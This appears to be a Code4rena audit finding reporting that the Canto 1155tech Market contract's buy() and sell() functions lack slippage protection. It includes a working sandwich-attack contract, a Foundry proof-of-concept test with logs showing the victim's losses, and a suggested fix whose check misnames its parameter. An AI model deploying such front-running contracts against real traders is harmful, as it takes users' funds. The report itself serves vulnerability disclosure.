Platform: Code4rena
Start Date: 13/11/2023
Pot Size: $24,500 USDC
Total HM: 3
Participants: 120
Period: 4 days
Judge: 0xTheC0der
Id: 306
League: ETH
Rank: 101/120
Findings: 1
Award: $1.37
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rvierdiiev
Also found by: 0x175, 0x3b, 0xMango, 0xarno, 0xpiken, Bauchibred, DarkTower, ElCid, Giorgio, HChang26, Kose, KupiaSec, Madalad, PENGUN, Pheonix, RaoulSchaffranek, SpicyMeatball, T1MOH, Tricko, Udsen, Yanchuan, aslanbek, ast3ros, bart1e, bin2chen, chaduke, d3e4, deepkin, developerjordy, glcanvas, inzinko, jasonxiale, jnforja, mahyar, max10afternoon, mojito_auditor, neocrao, nmirchev8, openwide, osmanozdemir1, peanuts, pep7siup, peritoflores, pontifex, rice_cooker, rouhsamad, t0x1c, tnquanghuy0512, turvy_fuzz, twcctop, ustas, vangrim, zhaojie, zhaojohnson
1.3743 USDC - $1.37
https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L147-L169 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L171-L198
When a bonding curve is created the priceIncrease
is set in the constructor, LinearBondingCurve.sol#L7-L12:
uint256 public immutable priceIncrease; constructor(uint256 _priceIncrease) { priceIncrease = _priceIncrease; }
The priceIncrease
specifies the amount by which the price increases for each additional share, denominated in the smallest unit of the token i.e. for a token with 18 decimals, a priceIncrease
of 1e18 means that for each additional share bought the price increases by 1 token. As per the overview:
1155tech allows to create arbitrary shares with an arbitrary bonding curve.
If an arbitrary bonding curve is created with a relatively high priceIncrease
this makes buy()
and sell()
in Market.sol
particularly susceptible to sandwich attacks due to the lack of protection e.g. a slippage mechanism.
Users that are exploited by sandwich attacks will consequently end up paying an artificially inflated price for shares, likely significantly higher than what they estimated. To add to this, if a user were to sell their shares after the attack, they would likely be doing so at a position of loss.
priceIncrease
as 50% per additional share (5e17 in this case).createNewShare()
, setting the _shareName
as “bob”.buy()
passing the _id
corresponding to the “bob” share, and 100 as the _amount
.buy()
detects this, at which point they frontrun Alice’s transaction, also passing the relevant _id
and _amount
as 100 to buy()
.Here is an example of what the malicious contract could look like:
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; // Note: In the tes directory run: cast interface -n IMarket -o IMarket.sol -p 0.8.19 ../../out/Market.sol/Market.json import { IMarket } from "./IMarket.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract Malicious { IMarket public market; IERC20 public cnoteToken; uint256 public shareId; constructor(address _marketAddress, address _cnoteTokenAddress, uint256 _shareId) { market = IMarket(_marketAddress); cnoteToken = IERC20(_cnoteTokenAddress); shareId = _shareId; // Approve Market contract to spend CNOTE tokens cnoteToken.approve(_marketAddress, type(uint256).max); } function frontrun(uint256 amount) external { // Frontrun here market.buy( shareId, // _id amount // _amount ); } function backrun() external { // Sell the shares after price increase uint256 tokenBalance = market.tokensByAddress( shareId, // id address(this) // address ); market.sell(shareId, tokenBalance); } }
Add the following contract to 2023-11-canto/1155tech-contracts/src/test/
. I am not certain as to what the best method is to reproduce sandwich attacks, yet taking inspiration from this here is the Foundry test:
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.19; import {Test} from "forge-std/Test.sol"; import {IERC20, ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {LinearBondingCurve} from "../bonding_curve/LinearBondingCurve.sol"; import {Market} from "../Market.sol"; import {Malicious} from "./Malicious.sol"; contract NOTE is ERC20 { constructor(string memory symbol, string memory name) ERC20(symbol, name) {} function mint(address to, uint256 amount) public { _mint(to, amount); } } contract CNOTE is NOTE { address public underlying; uint256 public exchangeRateCurrent = 1e28; constructor( string memory symbol, string memory name, address _underlying ) NOTE(symbol, name) { underlying = _underlying; } function mint(uint256 amount) public returns (uint256 statusCode) { SafeERC20.safeTransferFrom(IERC20(underlying), msg.sender, address(this), amount); _mint(msg.sender, (amount * 1e28) / exchangeRateCurrent); statusCode = 0; } function redeemUnderlying(uint256 amount) public returns (uint256 statusCode) { SafeERC20.safeTransfer(IERC20(underlying), msg.sender, amount); _burn(msg.sender, (amount * exchangeRateCurrent) / 1e28); statusCode = 0; } function redeem(uint256 amount) public returns (uint256 statusCode) { SafeERC20.safeTransfer(IERC20(underlying), msg.sender, (amount * exchangeRateCurrent) / 1e28); _burn(msg.sender, amount); statusCode = 0; } function setExchangeRate(uint256 _exchangeRate) public { exchangeRateCurrent = _exchangeRate; } } contract Buy is Test { NOTE public note; CNOTE public cnote; LinearBondingCurve public linearbondingcurve; Market public market; Malicious public malicious; address public alice; address public bob; address public owner; function setUp() public { note = new NOTE("NOTE", "NOTE"); cnote = new CNOTE("CNOTE", "CNOTE", address(note)); bob = makeAddr("bob"); alice = makeAddr("alice"); deal(address(cnote), alice, 10_000 * 1e18); linearbondingcurve = new LinearBondingCurve( 5e17 // Note: _priceIncrease representing 50% ); market = new Market( "foo", // _uri address(cnote) //_paymentToken ); vm.prank(alice); cnote.approve(address(market), type(uint256).max); // Whitelist the bonding curve market.changeBondingCurveAllowed( address(linearbondingcurve), // _bondingCurve true // _newState ); // Whitelist Bob as a share creator market.changeShareCreatorWhitelist( bob, // _address true // _isWhitelisted ); // Bob creates a share market.createNewShare( "bob", // _shareName address(linearbondingcurve), // _bondingCurve "foo" // _metadataURI ); malicious = new Malicious( address(market), // _marketAddress address(cnote), // _cnoteTokenAddress 1 // _shareId ); deal(address(cnote), address(malicious), 10_000 * 1e18); } function _frontrun() internal { vm.prank(address(malicious)); malicious.frontrun(100); } function _alice() internal { vm.prank(alice); market.buy( 1, // _id 100 // _amount ); } function _backrun() internal { vm.prank(address(malicious)); malicious.backrun(); } function test_Buy() public { uint256 aliceBalaceBeforeAttack = cnote.balanceOf(alice); emit log_named_decimal_uint("Alice's CNOTE Balance Before", aliceBalaceBeforeAttack, 18); uint256 advesaryBalanceBeforeAttack = cnote.balanceOf(address(malicious)); emit log_named_decimal_uint("Advesary's CNOTE Balance Before", advesaryBalanceBeforeAttack, 18); (uint256 buyPrice, uint256 buyFee) = market.getBuyPrice( 1, // _id 100 // _amount ); emit log_named_decimal_uint("Alice's Estimated Buy Price", (buyPrice + buyFee), 18); _frontrun(); _alice(); _backrun(); uint256 aliceBalanceAfterAttack = cnote.balanceOf(alice); emit log_named_decimal_uint("Alice's Actual Buy Price", (aliceBalaceBeforeAttack - aliceBalanceAfterAttack), 18); emit log_named_decimal_uint("Alice's CNOTE Balance After", cnote.balanceOf(alice), 18); uint256 advesaryBalanceAfterAttack = cnote.balanceOf(address(malicious)); emit log_named_decimal_uint("Advesary's CNOTE Balance After", advesaryBalanceAfterAttack, 18); emit log_named_decimal_uint("Advesary's Exploit Amount", (advesaryBalanceAfterAttack - advesaryBalanceBeforeAttack), 18); } }
forge test --match-path src/test/Buy.t.sol -vv
Running 1 test for src/test/Buy.t.sol:Buy [PASS] test_Buy() (gas: 573142) Logs: Alice's CNOTE Balance Before: 10000.000000000000000000 Advesary's CNOTE Balance Before: 10000.000000000000000000 Alice's Estimated Buy Price: 2572.566666666666665638 Alice's Actual Buy Price: 7636.164285714285708966 Alice's CNOTE Balance After: 2363.835714285714291034 Advesary's CNOTE Balance After: 14896.295369047619051333 Advesary's Exploit Amount: 4896.295369047619051333 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.05ms
Alice’s estimated buy price was 2572.56
tokens however she ended up paying 7636.16
tokens as a consequence of the sandwich attack. The adversary managed to exploit 4896.29
tokens.
Manual Review and Foundry.
Consider adding a slippage protection mechanism to buy()
and sell()
. Here is a simple example for instance, Market.sol#L147-L169:
function buy( uint256 _id, uint256 _amount, + uint256 _maxPrice ) external { require(shareData[_id].creator != msg.sender, "Creator cannot buy"); (uint256 price, uint256 fee) = getBuyPrice(_id, _amount); // Reverts for non-existing ID + uint256 totalPrice = price + fee; + require(totalPrice <= maxPrice, "Price exceeds maximum limit"); - SafeERC20.safeTransferFrom(token, msg.sender, address(this), price + fee); + SafeERC20.safeTransferFrom(token, msg.sender, address(this), totalPrice); // Rest of the function }
MEV
#0 - c4-pre-sort
2023-11-18T09:57:12Z
minhquanym marked the issue as duplicate of #12
#1 - c4-judge
2023-11-28T23:14:14Z
MarioPoneder changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-11-28T23:27:35Z
MarioPoneder marked the issue as satisfactory